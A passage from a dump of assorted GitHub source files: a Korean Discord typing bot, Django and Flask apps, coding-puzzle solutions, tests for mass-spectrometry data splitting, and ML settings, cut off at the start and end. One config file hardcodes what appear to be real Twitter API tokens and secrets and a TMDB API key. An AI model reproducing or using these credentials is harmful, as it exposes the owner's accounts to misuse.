지속되어야 하는 것인가, 아니면 이런 저런 정거장에 멈춰서는 여러 열차와 같은 것인가? 내가 그녀를 사랑한다면 어떻게 그녀를 떠날 수 있나? 그 때 내가 그렇게 느꼈다면, 지금은 왜 아무 것도 느끼지 못할까?\",\n     \"죄를 미워하되 죄인은 사랑하라.\",\n     \"젊은이들은 젊음이 얼마나 힘들고 무시무시할 수 있는지 안다. 그들의 젊음은 다른 모든 사람들에게 허비되는데 그야말로 끔찍한 일이다. 젊은이들에게는 권위도 존경도 없다.\",\n     \"들은 것은 잊어버리고, 본 것은 기억하고 직접 해본 것은 이해한다\",\n     \"아이들이 무엇을 할 수 있는지 확인해보고 싶다면 주는 것을 멈추어 보면 된다.\",\n     \"어진 사람은 난관의 극복을 제일 중요한 일로 생각하고, 성공 여부는 부차적인 것으로 본다.\",\n     \"실패하는 것은 곧 성공으로 한 발짝 더 나아가는 것이다.\",\n     \"우정이라는 기계에 잘 정제된 예의라는 기름을 바르는 것은 현명하다.\",\n     \"모든 것을 가졌다 해도 친구가 없다면, 아무도 살길 원치 않을 것이다.\",\n     \"책은 가장 조용하고 변함 없는 벗이다. 책은 가장 쉽게 다가갈 수 있고 가장 현명한 상담자이자, 가장 인내심 있는 교사이다.\",\n     \"그것은 죽었으면 하고 바라는 사람들이 시간을 죽이기 위해 읽는 책이었다.\",\n     \"인간의 감정은 누군가를 만날 때와 헤어질 때 가장 순수하며 가장 빛난다.\",\n     \"이 사랑의 꽃봉오리는 여름날 바람에 마냥 부풀었다가, 다음 만날 때엔 예쁘게 꽃필 거예요.\",\n     \"일부 과학자들에 따르면 미래는 과거와 똑같을 것이다. 단지 훨씬 값비쌀 뿐이다.\",\n     \"우아함이란 이제 갖 사춘기를 벗어난 이들의 특권이 아니라, 이미 스스로의 미래를 꽉 잡고 있는 이들의 것이다.\"]\n\n#디스코드 봇 실행시 터미널로 보여주기\nclass Typewriterbot(discord.Client):\n    chatTest = \"False\"\n    channel = \"NULL\"\n    q = \"NULL\"\n    \n    print(\"debug ready\")\n    async def on_ready(self):\n        game = discord.Game(\"!문제를 해결\")\n\n        await client.change_presence(status=discord.Status.online, activity=game)\n        print(\"Ready to Action...\")\n\n    async def on_message(self, message):\n       \n        if message.author.bot:\n            return None\n\n\n        #기본적인 명령어\n        if message.content == '!안녕':\n            channel = message.channel\n            msg = \"안녕\"\n            await channel.send(msg)\n            return None\n\n        if message.content == '!잘가':\n            channel = message.channel\n            msg = \"잘가 ㅠㅠ\"\n            await channel.send(msg)\n            return None\n            \n        \n        #명령어 보여주기        \n        if message.content == '!명령어':                                    \n            channel = message.channel\n            msg = \"```\\n!안녕 - 안녕\\n\"\n            msg += \"!잘가 - 잘가 ㅠㅠ\\n\"\n            msg += \"!타자연습 - 타자 연습 시작합니다.\\n\"\n            msg += \"!타자연습 영어 - 타자 연습 영어 시작합니다.\\n\"\n            msg += \"!타자연습 한글 - 타자 연습 한글 시작합니다.\\n\"\n            msg += \"!c언어 - 필요한 문법 책 링크를 보여줍니다.\\n\"\n            msg += \"!c언어 OO - OO 보여줌\\n  예시:!c언어 for\\n```\"\n            await channel.send(msg)\n            return None\n\n        \n        #c언어 명령어\n        if message.content == '!c언어':\n            channel = message.channel\n            msg = \"```\\nC언어\\n\"\n            msg += \"비쥬얼 스튜디오 설치하기\\n https://visualstudio.microsoft.com/ko/downloads/\\n\"\n            msg += \"DEV C++ 설치하기\\n https://gabii.tistory.com/entry/Dev-C-Dev-C-%EB%8B%A4%EC%9A%B4%EB%A1%9C%EB%93%9C-%EB%B0%8F-%EC%84%A4%EC%B9%98\\n\"\n            msg += \"변수\\n https://thebook.io/006989/ch02/01/\\n\"\n            msg += \"함수\\n https://thebook.io/006989/ch03/\\n\"\n            msg += \"연산자\\n https://thebook.io/006989/ch04/\\n\"\n            msg += \"조건문\\n https://thebook.io/006989/ch05/\\n\"\n            msg += \"반복문\\n https://thebook.io/006989/ch06/\\n\"\n            msg += \"배열\\n https://thebook.io/006989/ch07/\\n\"\n            msg += \"포인터\\n https://thebook.io/006989/ch08/\\n\\n\"\n            msg += \"링크는 복사 붙여넣기로 사용하실 수 있습니다\\n```\"\n            await channel.send(msg)\n            return None\n\n        if message.content == '!c언어 변수':\n            channel = message.channel\n            msg = \"변수\\n https://thebook.io/006989/ch02/01/\\n\"\n            await channel.send(msg)\n            return None\n\n        if message.content == '!c언어 함수':\n            channel = message.channel\n            msg = \"함수\\n https://thebook.io/006989/ch03/\\n\"\n            await channel.send(msg)\n            return None\n\n        if message.content == '!c언어 연산자':\n            channel = message.channel\n            msg = \"연산자\\n https://thebook.io/006989/ch04/\\n\"\n            await channel.send(msg)\n            return None    \n\n        if message.content == '!c언어 조건문':\n            channel = message.channel\n            msg = \"조건문\\n https://thebook.io/006989/ch05/\\n\"\n            await channel.send(msg)\n            return None            \n       \n        if message.content == '!c언어 반복문':\n            channel = message.channel\n            msg = \"반복문\\n https://thebook.io/006989/ch06/\\n\"\n            await channel.send(msg)\n            return None            \n\n        if message.content == '!c언어 배열':\n            channel = message.channel\n            msg = \"배열\\n https://thebook.io/006989/ch07/\\n\"\n            await channel.send(msg)\n            return None  \n            \n        if message.content == '!c언어 포인터':\n            channel = message.channel\n            msg = \"포인터\\n https://thebook.io/006989/ch08/\\n\"\n            await channel.send(msg)\n            return None       \n        \n        #타자 연습 \n        #타자연습 영어 시작\n        if message.content == '!타자연습 영어':                           \n            channel = message.channel\n            msg = \"시작\\n\"\n            msg += \"<문장>\"\n            self.chatTest = \"True\"\n            await channel.send(msg)\n                                                                  \n            self.q = random.choice(t)\n            await channel.send(\"============= 문제 ============\\n!정답 입력후 정답을 입력해주세요 예(!정답 Hello world)\")\n            await channel.send(self.q)\n            return None\n\n        if self.chatTest == \"True\": \n            print(self.chatTest)\n            channel = message.channel\n            msg = message.content\n            \n            print(self.q)\n            print(message.content)\n    \n            if '!정답 ' + self.q == message.content:    #정답 입력받기\n                await channel.send(\"정답\")\n                print(\"정답\")\n            else:\n                await channel.send(\"땡\")\n                print(\"땡\")\n\n            self.chatTest = \"False\"\n            return None\n\n\n        #타자연습 한글 시작\n        if message.content == '!타자연습 한글':     \n            channel = message.channel                         \n            msg = \"시작\\n\"\n            msg += \"<문장>\"\n            self.chatTest = \"True\"\n            await channel.send(msg)\n                                                                  \n            self.q = random.choice(T)\n            await channel.send(\"============= 문제 ============\\n!정답 입력후 정답을 입력해주세요 예(!정답 안녕하세요)\")\n            await channel.send(self.q)\n            return None\n\n        if self.chatTest == \"True\": \n            print(self.chatTest)\n            channel = message.channel\n            msg = message.content\n            \n            print(self.q)\n            print(message.content)\n    \n            if '!정답 ' + self.q == message.content:    #정답 입력받기\n                await channel.send(\"정답\")\n                print(\"정답\")\n                \n            else:\n                await channel.send(\"땡\")\n                print(\"땡\")\n                 \n\n            self.chatTest = \"False\"\n            return None\n           \nif __name__ == \"__main__\":\n    client = Typewriterbot()\n    client.run(token)    ","repo_name":"potatovllage/Discord_Bot","sub_path":"discordbot.py","file_name":"discordbot.py","file_ext":"py","file_size_in_byte":10186,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31333734867","text":"from django.urls import path\nfrom home.views import *\nfrom admin_dashboard.views import contact_us_mail\n\nurlpatterns = [\n    path('', HomePageView.as_view(), name='home'),\n    path('about', AboutPageView.as_view(), name='about'),\n    path('services', ServicePageView.as_view(), name='service'),\n    path('contact-us', ContactPageView.as_view(), name='contact'),\n    path('gallery', GalleryPageView.as_view(), name='gallery'),\n    path('mail/send', contact_us_mail, name='send_mail'),\n\n\n]\n\n","repo_name":"Ziko278/poultry","sub_path":"home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35723376397","text":"from flask import Flask, request\nfrom flask_restful import Resource, Api, reqparse, inputs\nfrom celery.result import AsyncResult\n\nfrom tasks import get_text, get_images, celery_app\n\napp = Flask(__name__)\napi = Api(app)\n\nparser = reqparse.RequestParser()\nparser.add_argument('site')\n\nclass Text(Resource):\n    def post(self):\n        args = parser.parse_args()\n        result = get_text.delay(args['site'])\n        return {'task_id': result.task_id}\n\nclass Images(Resource):\n    def post(self):\n        args = parser.parse_args()\n        result = get_images.delay(args['site'])\n        return {'task_id': result.task_id}\n\nclass Status(Resource):\n    def get(self, task_id):\n        status = AsyncResult(task_id, app=celery_app).status\n        return {'status': status}\n\n\napi.add_resource(Text, '/text')\napi.add_resource(Images, '/images')\napi.add_resource(Status, '/status/<task_id>')\n\n\nif __name__ == \"__main__\":\n    app.run()\n","repo_name":"DominikZabron/machine-learning-assistance","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"3922067364","text":"# configs\n\n# --- streaming ---\n# access token\nACCESS_TOKEN = '1440425207190024196-iSOaQja7rMiCMbZwoslmfOe0RX0XPu'\n# access secret\nACCESS_SECRET = '2eOScxtfc6aUqfZc4xEDfMTRlxJUIkavB1i0Shfbi6fIt'\n# consumer key\nCONSUMER_KEY = 'GnCIBr4YWVSFH65ZbOFvXJEpB'\n# consumer secret\nCONSUMER_SECRET = 'Q15jf7i3M7JcOtevi4EYhCjLblKUrJOdDBKgUAxz5npWVmifVB'\n\n# twtter checkpoint path\ncp_path = './data/checkpoint_TwitterApp'\n# twitter data output path\noutput_directory = './data/twitter/movie'\n\n# client IP\nIP = 'localhost'\n# client port\nPORT = 9001\n\n# the tags to track\ntags = ['movie']\n\n\n# --- movies ---\n# tmdb api key\napi_key = '94b42385a681053cab08a06553dcfa19'\n# tmdb language\nlanguage = 'en'\n# tmdb mode\ndebug = True\n\n# feature to collect\nfeatures_default = [\n    'id', 'title', 'release_date', 'vote_average', 'vote_count', \n    'genres', 'budget', 'popularity', 'revenue'\n]\n\n# raw data path\npath = './data/movies.csv'\n\n\n# --- preprocess --\n# preprocessed data path\npp_path = './data/movies_pp.csv'\n# lda num topics\nnum_topics=10\n# lda max iters\nmax_iterations=50\n# lda num of words for each topic\nwordNumbers=10\n\n\n# --- analysis ---\n# predicted results path\npred_path = './data/predicts.csv'\ntopic_path = './data/topics.txt'\n\n","repo_name":"harrypotter1501/movie-sentiment","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"27493246001","text":"# learning how to split \n\n#line = \"This is a string\"\n \n#print(line.split())\n#print(line.split(' '))\n\n#print('-'.join(line.split(' ')))\n\n#line = line.split(\" \")\n#line = \"-\".join(line)\n#print(line)\n\n\n#var = \"If there is a will there is a way\"\n\n#var = var.split()\n#var= \"/\".join(line)\n\n#print(var)\n\n#steve = \"starting to get a hang of this split thing\"\n\n#steve = steve.split(\" \")\n#steve = \"$\".join(steve)\n#print(steve)\n\n#cando = \"Want me to split a string and then join it with a - ?\"\n#print(cando)\n\n#cando = cando.split()\n#print(cando)\n#cando = \"-\".join(cando)\n#print(cando)\n\n#park = '-'.join(park)\n\n#print(park)\n\n#today = \"Is goin to be a good day\"\n#today = today.split()\n#today = \"-\".join(today)\n#print(today)\n\n#wisconsin = \"Really cold this time of year\"\n#wisconsin = wisconsin.split()\n#wisconsin = '-'.join(wisconsin)\n#print(wisconsin)\n\n#france = \"its nice and warm this time of year\"\n#france = france.split()\n#france = '-'.join(france)\n#print(france)\n\nlast_one = \"This is my last one as I think I've done it enough times to remember\"\n\nlast_one = last_one.split() \nprint(last_one) #print\n\nlast_one = \"-\".join(last_one) \nprint(last_one)\n\n\n\n\n\n\n\n\n\n","repo_name":"steve0c/red_python","sub_path":"spliting-lab.py","file_name":"spliting-lab.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22515570637","text":"from django.contrib.auth.forms import UserCreationForm\nfrom django import forms\nfrom django.contrib.auth.models import User\n\nclass RegisterForm(UserCreationForm):\n\temail = forms.EmailField(label='Email address', max_length=75)\n\t\n\tclass Meta:\n\t\tmodel = User\n\t\tfields = ('username', 'email',) \t\n\t\t\n\tdef clean_email(self):\n\t\temail = self.cleaned_data[\"email\"]\n\t\t\n\t\ttry:\n\t\t\tUser.objects.get(email__iexact=email)\n\t\texcept User.DoesNotExist:\n\t\t\treturn email\n\t\t\n\t\traise forms.ValidationError(\"A user with that email address already exists.\")\n\t\n\tdef save(self, commit=True):\n\t\tuser = super(UserCreationForm, self).save(commit=False)\n\t\tuser.set_password(self.cleaned_data[\"password1\"])\n\t\tuser.email = self.cleaned_data[\"email\"]\n\t\tuser.is_active = True\n\t\tif commit:\n\t\t\tuser.save()\n\t\t\t\n\t\treturn user","repo_name":"tfaris/pyabetic","sub_path":"account_forms.py","file_name":"account_forms.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70710823873","text":"import numpy as np\r\n\r\n\r\nclass WordDict():\r\n    def __init__(self, embeddingPath):\r\n        self.word2ID, self.ID2word, self.wordVector = self.loadEmbedding(embeddingPath)\r\n\r\n    def loadEmbedding(self, Path):\r\n        word2ID = {'UNK': 0}\r\n        ID2word = {0: 'UNK'}\r\n        wordVector = []\r\n\r\n        with open(Path, encoding='utf-8') as f:\r\n            idx = 1\r\n            while True:\r\n                line = f.readline()\r\n                if not line:\r\n                    break\r\n                if idx == 1:\r\n                    dim = len(line.split(' ')) - 1\r\n                    unk_embedding = np.random.normal(0.0, 0.5, dim).astype('float32').tolist()\r\n                    wordVector.append(unk_embedding)\r\n\r\n                lineList = line.split(' ')\r\n                word2ID[lineList[0]] = idx\r\n                ID2word[idx] = lineList[0]\r\n                wordVector.append([float(x) for x in lineList[1:]])\r\n\r\n                idx += 1\r\n\r\n        return word2ID, ID2word, wordVector\r\n\r\n    def get_word2ID(self):\r\n        return self.word2ID\r\n\r\n    def get_ID2word(self):\r\n        return self.ID2word\r\n\r\n    def get_wordVector(self):\r\n        return self.wordVector\r\n\r\nif __name__ == '__main__':\r\n    wordDict = WordDict('./glove.6B.100d.txt')\r\n","repo_name":"chipinzhen/BiLSTM-CRF","sub_path":"data/word_dict.py","file_name":"word_dict.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21953694105","text":"from typing import List\n\n\nclass Solution:\n    def countDistinct(self, nums: List[int], k: int, p: int) -> int:\n        for i in range(len(nums)):\n            if nums[i] % p == 0:\n                nums[i] = str(nums[i]//p) + 'x'\n        nums = [str(i) for i in nums]\n        final_set = set()\n        for i in range(len(nums)):\n            for j in range(i+1, len(nums)+1):\n                string = ' '.join(nums[i:j])\n                if string.count('x') <= k:\n                    final_set.add(string)\n        return len(final_set)\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n    #print(Solution().countDistinct(nums = [2,3,3,2,2], k = 2, p = 2))\n    #print(Solution().countDistinct(nums = [1,2,3,4], k = 4, p = 1))\n    print(Solution().countDistinct([1,9,8,7,19], 1, 6))\n","repo_name":"liuyuhanalex/Leetcode","sub_path":"contest/6049. K Divisible Elements Subarrays.py","file_name":"6049. K Divisible Elements Subarrays.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72067172030","text":"import os\nimport struct\nimport shutil\nimport tempfile\nimport unittest\n\nimport numpy as np\n\nfrom mibidata import pseudodepths\n\n# File variant 1, 8 bins per spectrum, 16 = 4x4 pixels.\nNUM_PIXELS = 4\nHEADER = (1, 8, NUM_PIXELS)\n# Assume 10 cycles per pixel, so each data sub-list has 10 zeros and the rest\n# of the counts are bin numbers from 1 to 8. The (0, 0) entry to indicate\n# new cycle comes at the _end_ of the data for each cycle.\n#\n# This following data was generated with:\n#\n# pixel_lengths = np.random.randint(9, 20, 16)\n# DATA = []\n# for pl in pixel_lengths:\n#     entries = np.zeros(pl, int)\n#     num_counts = pl - 9\n#     inds = np.random.choice(np.arange(pl), num_counts, replace=False)\n#     bins = np.random.randint(1, 8, num_counts)\n#     entries[inds] = bins\n#     DATA.append(list(entries) + [0])\nDATA = [\n    [0, 3, 0, 1, 1, 0, 3, 0, 0, 0, 3, 0, 3, 7, 3, 4, 0, 0, 5, 0],\n    [0, 5, 4, 2, 0, 0, 0, 0, 0, 0, 3, 0, 2, 2, 0, 2, 0],\n    [0, 0, 0, 6, 7, 0, 0, 0, 0, 0, 0, 2, 2, 0],\n    [0, 1, 1, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0],\n]\n# How many counts to expect if we manually split into two depths.\nDEPTH0 = [\n    [0, 3, 0, 1, 1, 0, 3, 0, 0],\n    [0, 5, 4, 2, 0, 0, 0, 0],\n    [0, 0, 0, 6, 7, 0, 0],\n    [0, 1, 1, 0, 0, 3, 0, 0],\n]\nDEPTH1 = [\n    [0, 3, 0, 3, 7, 3, 4, 0, 0, 5, 0],\n    [0, 0, 3, 0, 2, 2, 0, 2, 0],\n    [0, 0, 0, 0, 2, 2, 0],\n    [0, 0, 0, 0, 0],\n]\n\n\nclass TestMsdf(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n        fh, fn = tempfile.mkstemp()\n        cls.msdf = fn\n        os.close(fh)\n        sat = np.zeros((NUM_PIXELS, 2), int)\n        cls.header = struct.pack(pseudodepths.HEADER_FORMAT, 1, 8, NUM_PIXELS)\n        with open(fn, 'wb') as infile:\n            infile.write(cls.header)\n            end_sat = pseudodepths.HEADER_SIZE + \\\n                NUM_PIXELS * pseudodepths.SAT_ENTRY_SIZE\n            infile.seek(end_sat)\n            for i, pixel in enumerate(DATA):\n                sat[i, 0] = infile.tell()\n                sat[i, 1] = len(pixel)\n                for timestamp in pixel:\n                    count = int(timestamp > 0)\n                    infile.write(\n                        struct.pack(pseudodepths.DATA_FORMAT, timestamp, count))\n            infile.seek(pseudodepths.HEADER_SIZE)\n            for offset, length in sat:\n                infile.write(\n                    struct.pack(pseudodepths.SAT_ENTRY_FORMAT, offset, length))\n        cls.data_start = end_sat\n\n    def setUp(self):\n        self.tempdir = tempfile.mkdtemp()\n\n    @classmethod\n    def tearDownClass(cls):\n        os.remove(cls.msdf)\n\n    def tearDown(self):\n        shutil.rmtree(self.tempdir)\n\n    def _pack_sat(self, depth):\n        sat = b''\n        offset = self.data_start\n        for d in depth:\n            sat += struct.pack(\n                pseudodepths.SAT_ENTRY_FORMAT, offset, len(d))\n            offset += pseudodepths.DATA_SIZE * len(d)\n        return sat\n\n    def _pack_data(self, depth):\n        data = b''\n        for pixel in depth:\n            for i in pixel:\n                data += struct.pack(\n                    pseudodepths.DATA_FORMAT, i, int(i > 0))\n        return data\n\n    def test_split_into_one(self):\n        \"\"\"If we split into one output file, we should get the same file out.\n        \"\"\"\n        cycles_per_pixel, cycles_per_scan = pseudodepths.divide(\n            self.msdf, 1, self.tempdir)\n        self.assertEqual(cycles_per_pixel, 10)\n        self.assertEqual(cycles_per_scan, 10)\n        new_file = os.path.join(self.tempdir, 'Depth0', 'Image.msdf')\n        self.assertTrue(os.path.exists(new_file))\n        with open(self.msdf, 'rb') as infile:\n            expected_buffer = infile.read()\n        with open(new_file, 'rb') as infile:\n            new_buffer = infile.read()\n        self.assertEqual(new_buffer, expected_buffer)\n\n    def test_split_into_two(self):\n        cycles_per_pixel, cycles_per_scan = pseudodepths.divide(\n            self.msdf, 2, self.tempdir)\n        self.assertEqual(cycles_per_pixel, 10)\n        self.assertEqual(cycles_per_scan, 5)\n        depth0 = os.path.join(self.tempdir, 'Depth0', 'Image.msdf')\n        depth1 = os.path.join(self.tempdir, 'Depth1', 'Image.msdf')\n        with open(depth0, 'rb') as infile:\n            depth0_header = infile.read(pseudodepths.HEADER_SIZE)\n            depth0_sat = infile.read(NUM_PIXELS * pseudodepths.SAT_ENTRY_SIZE)\n            depth0_data = infile.read()\n        with open(depth1, 'rb') as infile:\n            depth1_header = infile.read(pseudodepths.HEADER_SIZE)\n            depth1_sat = infile.read(NUM_PIXELS * pseudodepths.SAT_ENTRY_SIZE)\n            depth1_data = infile.read()\n\n        self.assertEqual(depth0_header, self.header)\n        self.assertEqual(depth1_header, self.header)\n        self.assertEqual(depth0_sat, self._pack_sat(DEPTH0))\n        self.assertEqual(depth1_sat, self._pack_sat(DEPTH1))\n        self.assertEqual(depth0_data, self._pack_data(DEPTH0))\n        self.assertEqual(depth1_data, self._pack_data(DEPTH1))\n\n    def test_split_into_three(self):\n        \"\"\"This should raise because the number of cycles is not divisible by\n        the number of desired pseudo-depths.\"\"\"\n        with self.assertRaises(ValueError):\n            pseudodepths.divide(self.msdf, 3, self.tempdir)\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"ionpath/mibilib","sub_path":"mibidata/tests/test_pseudodepths.py","file_name":"test_pseudodepths.py","file_ext":"py","file_size_in_byte":5304,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"60"}
+{"seq_id":"25377520657","text":"import os\nfrom random import randint\n\ndef update_computer_brain(x, y):\n    with open('FirstLastWord.txt', 'a+', encoding='UTF-8') as f:\n        for value in x:\n            if value not in y:\n                f.write(f\"{value}\\n\")\n\n\n\nos.chdir('K:\\\\Python Group Study\\\\프로그래밍 기초 in Python\\\\GroupStudy')\n\nf = open('FirstLastWord.txt','r', encoding='UTF-8') # Brings Words that Computer has\n\nsys_wdbook = [] # List of words that computer has\ngame_wdbook = [] # List of words that used in game\nturn_count = 0 # How many turns went\nnxt_turn = \"\"\n\nfor line in f : # Read the file that has the words\n    sys_wdbook.append(line.strip())\n\nwhile True: # Select who attacks first\n    try:\n        print(\"게임을 종료하시려면 언제든지 2번을 눌러주세요.\")\n        turn = int(input(\"선공 후공을 정해주세요.(0: 선공, 1: 후공, 2: 종료) : \"))\n        if turn == 0 or turn == 1 or turn == 2:\n            break\n        else:\n            print(\"번호가 잘못되었습니다.\")\n    except ValueError: #Error exception while choosing the turns\n        print(\"숫자를 입력해주세요.\")\n\n\nwhile True: # Game first turn starts\n   \n    if int(turn) == 0 : # User's First Attack\n        user_input = input(\"세상에 존재하는 단어(2~3자) 하나를 입력해주세요 :\") # User will input word\n        if user_input == \"2\": \n            print(\"사용자에 의해 게임이 종료되었습니다.\")\n            exit()\n\n        if len(user_input) > 3 or len(user_input) < 2:\n            print(\"글자수를 맞춰주세요.\")\n\n        elif len(user_input) <= 3 and len(user_input) >= 2:\n            if turn_count == 0: # 1st user's input\n                game_wdbook.append(user_input)\n                turn_count += 1\n                nxt_turn = \"com\"\n                break\n\n\n    elif int(turn) == 1: # Computer's First Attack\n        sys_input = sys_wdbook[randint(0,len(sys_wdbook)-1)]\n        print(sys_input)\n        game_wdbook.append(sys_input)\n        turn_count += 1\n        nxt_turn = \"user\"\n        break\n\n    \n    elif int(turn) == 2:\n        print(\"게임 종료!!\")\n        exit()   \n\n","repo_name":"Wooil96/PythonStudy","sub_path":"프로그래밍 기초 in Python/GroupStudy/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"46226537979","text":"import tensorflow as tf\n\n# --------------------------------- General -----------------------------------\n# The random seed to use. Seed or False. Kind of pointless at this point,\n# relict from earlier version.\nRANDOM_SEED = False\n\n# The number of layers to fit, which needs to be the same as in the respective\n# PPC configuration.\nN_LAYERS = 171\nN_DOMS = 5160\n\n# -------------------------------- TensorFlow ---------------------------------\nTF_FLOAT_PRECISION = tf.float32\nTF_CPU_ONLY = False\n# The length of the simulated photons array, this is the amount of photons we\n# optimize on each step. More is better, but it is limited by available GPU\n# memory. With the current program 700000 seems to be about the maximum a Tesla\n# P40 can handle without running out of memory.\nTF_HITLIST_LEN = 700000\n\n# ----------------------------- Ice Mocel Config ------------------------------\n# This is the path to the ice model to use to calculate the intrinsic\n# absorption coefficient and wavelength dependency of the dust absorption\n# coefficient. So the relevevant files are icemodel.dat for the delta\n# temperature values and icemodel.par for the 6 parameter ice model parameters.\nICE_MODEL_PATH = '/home/aharnisch/modded-PPC/real/ice/'\n\n# ------------------------------- Flasher Data --------------------------------\nDATA_PATH = '/net/big-tank/POOL/users/aharnisch/fake_flasher_data/'\n\n# ----------------------------- Simulation Data -------------------------------\n# The simulated photon data directory\nPHOTON_PATH = '/net/big-tank/POOL/users/aharnisch/iceopt_photons/'\n\n# --------------------------------- Training ----------------------------------\n# Flashing string, for now we only flash this one string. Should not make a\n# difference when comparing to simulation anyways since there are no model\n# errors. String 36 is in the middle of deep core. String 69 is in the top\n# right vorner of the second to last xy layer of strings (minimally effected by\n# deep core.)\nFLASHER_STRINGS = [36]\n\n# If this flag is set to true, the gradient is averaged over an entire string\n# before fed to the optimizer. This is not the same as evaluating string\n# batches. The batches are still performed on individual emitter DOMs but\n# instead of applying the gradient each time we evaluate it for all DOMs on a\n# string and then feed the acuumulated gradient to the optimizer. This might\n# make the gradient more stable becaue it includes information on all layers.\n# It also smooths out the loss significantly which is helpful when debugging.\n# If it is set to False the gradient is applied on every dom batch each time.\nGRADIENT_AVERAGING = True\n\n# The initial absorption coefficients to start with.\nINITIAL_ABS = [0.01 for i in range(N_LAYERS)]\n\n# The smallest allowed absorption coeffizient, values below are clipped on\n# every step\nMIN_ABS = 0.001\n\n# The maximum number of training steps to perform.\nMAX_STEPS = 200\n\n# The number of hits to rescale to. We rescale to this fixed amount of hits\n# every time to make the loss more comparable for different emitter DOMs. The\n# reason we have to rescale at all is the fact that we don't know how many\n# photons have been emitted on data.\nRESCALED_HITS = 100000\n\n\n# -------------------------------- Optimizer ----------------------------------\n# The initial learning rate\nINITIAL_LEARNING_RATE = 0.001\n# True or False to activate/deactivate learning rate decay\nLEARNING_DECAY = False\n# Decay modes: Linear or Exponential\nLEARNING_DECAY_MODE = 'Exponential'\n# decrease the INITIAL_LEARNING_RATE every LEARNING_STEPS steps by\n# LEARNING_DECR linearly or exponentially\nLEARNING_DECR = 0.95\nLEARNING_STEPS = 10\n\n# supported optimizers: Adam, GradientDescent\nOPTIMIZER = 'Adam'\nADAM_SETTINGS = dict(beta1=0.9, beta2=0.999, epsilon=1e-08)\n\n# --------------------------------- Logging -----------------------------------\nWRITE_INTERVAL = 1  # how many steps between each write\n","repo_name":"AlexHarn/tf-ppc-iceopt","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36137579909","text":"# https://codeforces.com/problemset/problem/727/A\n\nfrom collections import defaultdict\n\n\ndef solve():\n    a, b = map(int, input().split())\n    target = b\n    graph = defaultdict(lambda: [None, None, None])\n\n    flag = True\n    while b > a:\n        parent = b\n        if b % 2 == 0:\n            b //= 2\n            graph[parent][0] = b\n        else:\n            if (b - 1) % 10 != 0:\n                flag = False\n                break\n            b = b // 10\n            graph[parent][1] = b\n\n        graph[b][2] = parent\n\n    if a not in graph or not flag:\n        print(\"NO\")\n        return\n\n    path = []\n    while a < target:\n        path.append(a)\n        a = graph[a][2]\n    path.append(target)\n\n    print(f\"YES\\n{len(path)}\")\n    print(*path)\n\n\nsolve()\n","repo_name":"Son-OfAnton/Competitive-Programming","sub_path":"Contest/Contest_15/transformationFromAtoB.py","file_name":"transformationFromAtoB.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10301604117","text":"from flask import Flask, render_template\n\nfrom flight_radar.flight_radar import process, get_flight_info\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef index():\n    return render_template('index.html')\n\n\n@app.route(\"/flights\")\ndef flights():\n    flights_info = process()\n    return render_template('flights.html', flights=flights_info)\n\n\n@app.route(\"/flight/<string:ads_hex>\")\ndef flight(ads_hex):\n    flight_info = get_flight_info(ads_hex)\n    return render_template('flight.html', flight=flight_info)\n\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0', port=5000)\n","repo_name":"ercanse/flight-track","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"39031565228","text":"# 골드4\n# 소수 경로\n# 에라토스테네스의 체\ndef et_prime(dp):\n    for i in range(2, 10000):\n        if dp[i] == False:\n            if i >= 1000: sosu.append(i) # 1000 이상만 저장\n            for j in range(i*2, 10000, i): dp[j] = True\n    \n    del dp\n\ndef bfs(start, end):\n\n    if start == end:\n        return 0\n    else:\n        dq = deque([[start, 1]])\n        visited[int(start)] = True\n        \n        while dq:\n            standard, depth = map(str, dq.popleft())\n            standard = list(standard)\n            \n            for s in range(4): # 한번에 한 자릿수만 변경이 되므로 각 자릿수별로 연산\n                for i in range(10):\n                    if standard[s] != str(i): # 기존값과 비교값이 같으면 패스\n                        temp = standard[s] # 기존값 임시저장\n                        standard[s] = str(i) # 기존값을 연산을 위해 비교값으로 대체\n                        ch = ''.join(standard) # 문자열 연결 \n\n                        if visited[int(ch)] == False: # 방문 체크 - 방문 안한경우만\n                            visited[int(ch)] = True \n                            if end == ch:\n                                return int(depth) # 최초 발견이 곧 최소횟수\n                            elif sosu.count(int(ch)) > 0: \n                                dq.append([ch, int(depth)+1]) \n\n                        standard[s] = temp # 기존값 복원\n\nif __name__ == \"__main__\":\n    from 